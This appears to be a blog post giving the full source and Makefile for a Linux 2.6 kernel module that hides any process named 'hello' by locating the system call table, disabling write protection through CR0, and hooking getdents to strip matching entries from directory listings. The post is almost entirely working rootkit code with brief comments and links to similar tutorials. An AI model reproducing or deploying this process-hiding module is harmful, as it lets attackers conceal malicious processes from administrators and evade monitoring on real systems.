天天看點

Linux隐藏程序

系統資訊:核心為2.6.32, CentOSX86_64

由于不能修改核心源碼,故需要引入劫持系統調用技術、Linux可解除安裝子產品程式設計技術

示例程式

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <linux/stat.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#define CALLOFF 100

//define idtr and idt struct
//隐藏程序名為:hello

char psname[10] = "hello";
char *processname = psname;

struct{
    unsigned short limit;
    unsigned int base;
}__attribute__((packed))idtr;

struct{
    unsigned short off_low;
    unsigned short sel;
    unsigned char none;
    unsigned char flags;
    unsigned short off_high;
}__attribute__((packed))*idt;

struct _idt
{
    unsigned short offset_low,segment_sel;
    unsigned char reserved,flags;
    unsigned short offset_high;
};

/*unsigned long *getscTable()
{
    unsigned char idtr[6] = {0}, *shell = NULL, *sort = NULL;
    struct _idt *idtLong = NULL;
    unsigned long system_call = 0, sct = 0;
    unsigned short offset_low = 0, offset_high = 0;
    char *p = NULL;
    int i = 0;

    __asm__("sidt %0" : "=m" (idtr));

    idtLong=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
    offset_low = idtLong->offset_low;
    offset_high = idtLong->offset_high;
    system_call = (offset_high<<16)|offset_low;

    shell=(char *)system_call;
    sort="\xff\x14\x85";

    for(i=0;i<(100-2);i++)
    {
        if(shell[i] == sort[0] && shell[i+1] == sort[1] && shell[i+2] == sort[2])
	{
	    break;
	}
    }

    p = &shell[i];
    p += 3;

    sct=*(unsigned long*)p;
    return (unsigned long*)(sct);
}*/

//define function, Point to the system being hijacked

struct linux_dirent
{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count);

//int orig_cr0 = 0;
unsigned long *sys_call_table = NULL;

//get function system_call addr

/*void* get_system_call(void)
{
    printk(KERN_ALERT "start get_system_call...\n");
    void * addr = NULL;
    asm("sidt %0":"=m"(idtr));
    idt = (void*) ((unsigned long*)idtr.base);
    addr = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
    return addr;
}*/

//find sys_call_table

char* findoffset(char *start)
{
    printk(KERN_ALERT "start findoffset...\n");
    char *p = NULL;
    int i = 0;
    /*for(p=start; p < start + CALLOFF; p++)
    {
        if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\x85')
        {
            return p;
        }
    }*/

    p = start;
    for(i=0;i<(100-2);i++,p++)
    {
        if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\xc5')
	{
	    printk(KERN_ALERT "p: 0x%x\n",p);
	    return p;
	}
    }
    return NULL;
}

//get sys_call_table addr

/*void** get_system_call_addr(void)
{
    printk(KERN_ALERT "start get_system_call_addr.../n");
    unsigned long sct = 0;
    char *p = NULL;
    unsigned long addr = (unsigned long)get_system_call();
    if((p=findoffset((char*) addr)))
    {
        sct = *(unsigned long*)(p + 3);
        printk(KERN_ALERT "find sys_call_addr: 0x%x\n", (unsigned int)sct);
    }
    return ((void**)sct);
}*/

//clear and return cr0

unsigned int clear_and_return_cr0(void)
{
    printk(KERN_ALERT "start clear_and_return_cr0...\n");
    unsigned int cr0 = 0;
    unsigned int ret = 0;
    
    asm volatile ("movq %%cr0, %%rax":"=a"(cr0));
    
    ret = cr0;
    
    cr0 &= 0xfffffffffffeffff;
    
    asm volatile ("movq %%rax, %%cr0"
                :
                :"a"(cr0)
		);

    return ret;
}

//ser cr0

void setback_cr0(unsigned int val)
{
    printk(KERN_ALERT "start setback_cr0...\n");
    
    asm volatile ("movq %%rax, %%cr0"
                :
		:"a"(val)
		);
}

//char* to int

/*int atoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr = NULL;
    for(ptr = str + strlen(str)-1; ptr >= str; ptr--)
    {
        if(*ptr < '0' || *ptr > '9')
        {
            return -1;
        }
        res += (*ptr - '0') * mul;
        mul *= 10;
    }
    return res;
}*/

//check if process whose pid equals 'pid' is set to hidden

/*int ishidden(pid_t pid)
{
    if(pid < 0)
    {
        return 0;
    }
    struct task_struct * task = NULL;
    task = find_task_by_pid(pid);
    printk(KERN_ALERT "pid:%d,hide:%d/n", pid, task->hide);
    if(NULL != task && 1 == task->hide)
    {
        return 1;
    }
    return 0;
}*/

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr = NULL;

    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
    {
        if (*ptr < '0' || *ptr > '9')
	{
	    return -1;
	}
	res += (*ptr - '0') * mul;
	mul *= 10;
    }
    if(res>0 && res< 9999)
    {
        printk(KERN_INFO "pid = %d\n",res);
    }
    return res;
}

struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = get_current(),*entry = NULL;
    list_for_each_entry(entry,&(p->tasks),tasks)
    {
        if(entry->pid == pid)
	{
	    printk("pid found = %d\n",entry->pid);
	    return entry;
	}
	else
	{
	    printk(KERN_INFO "pid = %d not found\n",pid);
	}
    }
    return NULL;
}

static inline char *get_name(struct task_struct *p, char *buf)
{
    int i = 0;
    char *name = NULL;
    name = p->comm;
    i = sizeof(p->comm);
    do
    {
        unsigned char c = *name;
	name++;
	i--;
	*buf = c;
	if(!c)
	{
	    break;
	}
	if('\\' == c)
	{
	    buf[1] = c;
	    buf += 2;
	    continue;
	}
	if('\n' == c)
	{
	    buf[0] = '\\';
	    buf[1] = 'n';
	    buf += 2;
	    continue;
	}
	buf++;
    }while(i);

    *buf = '\n';
    return buf + 1;
}

int get_process(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char buffer[64] = {0};
    if(task)
    {
        get_name(task, buffer);
	if(pid > 0 && pid < 9999)
	{
	    printk(KERN_INFO "task name = %s\n",*buffer);
	}
	if(strstr(buffer,processname))
	{
	    return 1;
	}
	else
	{
	    return 0;
	}
    }
    return 0;
}

//the hacked sys_getdents64

asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count)
{
    /*long value = 0;
    unsigned short len = 0;
    unsigned short tlen = 0;

    printk(KERN_ALERT "hidden get dents/n");

    struct kstat fbuf;
    vfs_fstat(fd, &fbuf);//get file info
    printk(KERN_ALERT "ino:%d, proc:%d,major:%d,minor:%d\n", fbuf.ino, PROC_ROOT_INO, MAJOR(fbuf.dev), MINOR(fbuf.dev));

    if(orig_getdents != NULL)
    {
        value = (*orig_getdents)(fd, dirp, count);
        //if the file is in /proc
        if(fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3)
        {
            printk(KERN_ALERT "this is proc\n");
        }
    }
    else
    {
        printk(KERN_ALERT "orig_getdents is null\n");
    }
    return value;*/

    long value = 0;
    unsigned short len = 0;
    unsigned short tlen = 0;

    printk(KERN_ALERT "start call orig_getdents...\n");
    
    value = (*orig_getdents) (fd, dirp, count);
    
    printk(KERN_ALERT "end call orig_getdents...\n");

    tlen = value;
    //list dir table
    while(0 < tlen)
    {
        len = dirp->d_reclen;
	tlen = tlen - len;
	printk("d_name = %s\n", dirp->d_name);

	if(get_process(myatoi(dirp->d_name)))
	{
	    printk("find process...\n");
	    memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
	    value = value - len;
	    printk(KERN_INFO "hide successful...\n");
	}
	if(tlen)
	{
	    dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
	}
    }
    printk(KERN_INFO "finished hacked_getdents...\n");
    return value;
}

static void *memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len)
{
    const char *begin = NULL;
    const char *const last_possible = (const char *) haystack + haystack_len - needle_len;
    if (needle_len == 0)
    {
        printk(KERN_ALERT "needle_len == 0\n");
	return (void*)haystack;
    }

    if (__builtin_expect(haystack_len < needle_len, 0))
    {
        return NULL;
    }

    for (begin = (const char *) haystack; begin <= last_possible; ++begin)
    {
        if (begin[0] == ((const char *) needle)[0]
	        && !memcmp((const void *) &begin[1],
		        (const void *) ((const char *) needle + 1),
			    needle_len - 1))
	{
	    return (void*) begin;
	}
    }
    return NULL;
}

//擷取系統調用表
/*
32位系統與64為系統不同
和x86相比,x64的系統調用劫持有以下變化:

1、	搜尋的字元串不同:x64需要搜尋的字元串是"\xff\x14\xc5";
而32位系統使用 \xff\x14\x85

2、cr0寄存器是64位的,在打開、關閉頁面讀寫權限時,要使用64位的掩碼,高32為全是f

3、在獲得sys_call_table位址時需要和0xffffffff00000000相或。否則可能當機。
*/
static unsigned long get_sct_addr(void)
{
    #define OFFSET_SYSCALL 200

    unsigned long syscall_long, retval;
    char sc_asm[OFFSET_SYSCALL] = {0};

    rdmsrl(MSR_LSTAR, syscall_long);
    memcpy(sc_asm, (char *)syscall_long, OFFSET_SYSCALL);
    
    retval = (unsigned long) memmem(sc_asm, OFFSET_SYSCALL, "\xff\x14\xc5", 3);

    if ( retval != 0 )
    {
        retval = (unsigned long) ( * (unsigned long *)(retval+3) );
    }
    else
    {
        printk("long mode : memmem found nothing, returning NULL");
	retval = 0; 
    }
    #undef OFFSET_SYSCALL
    return retval;
    //unsigned sys_call_off = 0;
    /*void *sys_call_off = NULL;
    unsigned sct = 0;
    char *p = NULL;

    unsigned char idtrT[6] = {0}, *shell = NULL, *sort = NULL;
    struct _idt *idtT;
    unsigned long system_call = 0;// sct = 0;

    asm("sidt %0":"=m"(idtrT));
    //idt = (void *) (idtr.base + 8 * 0x80);
    printk(KERN_ALERT "=== 1 ===\n");
    //idt = (void*) ((unsigned long*)idtr.base);
    idtT = (struct _idt*)(*(unsigned long*)&idtrT[2]+8*0x80);
    //idt = (struct _idt*)
    //sys_call_off = (idt->off_high << 16) | idt->off_low;
    printk(KERN_ALERT "=== 2 ===\n");
    //sys_call_off = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
    system_call = (idtT->offset_high<<16) | idtT->offset_low;

    printk(KERN_ALERT "=== 3 ===\n");

    if ((p = findoffset((char *) system_call)))
    {
        sct = *(unsigned *) (p + 3);
    }
    else
    {
          printk(KERN_ALERT " findoffset fail...\n");
    }
    return ((void **)sct);*/
}

static int __init hook_init(void)
{
    printk(KERN_ALERT "start hook_init\n");
    
    unsigned long orig_cr0 = 0;//clear_and_return_cr0();

    sys_call_table = (unsigned long*)get_sct_addr();
    sys_call_table = (unsigned long)sys_call_table | 0xffffffff00000000;

    if(!sys_call_table)
    {
        printk(KERN_ALERT "=== get_sct_addr fail ===\n");
        return -EFAULT;
    }//CENTOS 下 PS指令使用的是 __NR_getdents,而不是 __NR_getdents64
    else if(sys_call_table[__NR_getdents] != hacked_getdents)
    {
        printk(KERN_ALERT "start __NR_getdents64 ...\n");
        //printk(KERN_ALERT "sct:0x%x\n", (unsigned long)sys_call_table);
	printk(KERN_ALERT "sct:0x%x,hacked_getdents:0x%x\n", (unsigned long)sys_call_table[__NR_getdents],(unsigned long)hacked_getdents);
        
        orig_cr0 = clear_and_return_cr0();
        orig_getdents = sys_call_table[__NR_getdents];
	printk(KERN_ALERT "old:0x%x, new:0x%x\n",(unsigned long) orig_getdents, (unsigned long)hacked_getdents);
	printk(KERN_ALERT "end __NR_getdents64 ...\n");
        
        if(hacked_getdents != NULL)
        {
	    printk(KERN_ALERT "call hacked_getdents...\n");

            sys_call_table[__NR_getdents] = hacked_getdents;
        }
        
	setback_cr0(orig_cr0);
	
	printk(KERN_INFO "hideps: module loaded.\n");
        return 0;
    }
    else
    {
        printk(KERN_ALERT "system_call_table_long[__NR_getdents64] == hacked_getdents\n");
        return -EFAULT;
    }
}

static int __exit unhook_exit(void)
{
    printk(KERN_ALERT "start unhook_exit\n");
    
    unsigned long orig_cr0 = clear_and_return_cr0();

    if(sys_call_table)
    {
        sys_call_table[__NR_getdents] = orig_getdents;
        setback_cr0(orig_cr0);

	printk(KERN_ALERT "unhook_exit success...\n");
        return 0;
    }
    printk(KERN_ALERT "unhook_exit fail...\n");
    return -EFAULT;
}


MODULE_AUTHOR("zhao liang. Halcrow <[email protected]>");
MODULE_DESCRIPTION("hook hide process");
MODULE_LICENSE("GPL");

module_init(hook_init)
module_exit(unhook_exit)
           

===  makefile内容 ===

ifneq ($(KERNELRELEASE),)

mymodules-objs:=hook.c

obj-m += hook.o

else

PWD := $(shell pwd)

KVER := $(shell uname -r)

KDIR := /lib/modules/$(KVER)/build

all:

    $(MAKE) -C $(KDIR) M=$(PWD)

clean:

    rm -rf *.o *.mod.c *.ko *.symvers *.order *.markers

endif

參考資料

【1】      高手過招談Linux環境下的進階隐藏技術

http://blog.csdn.net/ldong2007/article/details/2874082

【2】      linux 系統調用劫持

http://blog.csdn.net/sealyao/article/details/4569482

【3】      Linux 2.6 劫持系統調用 隐藏程序

http://blog.csdn.net/billpig/article/details/6196163

【4】      Linux2.6核心中劫持系統調用隐藏程序

http://blog.chinaunix.net/uid-18757596-id-1744685.html

繼續閱讀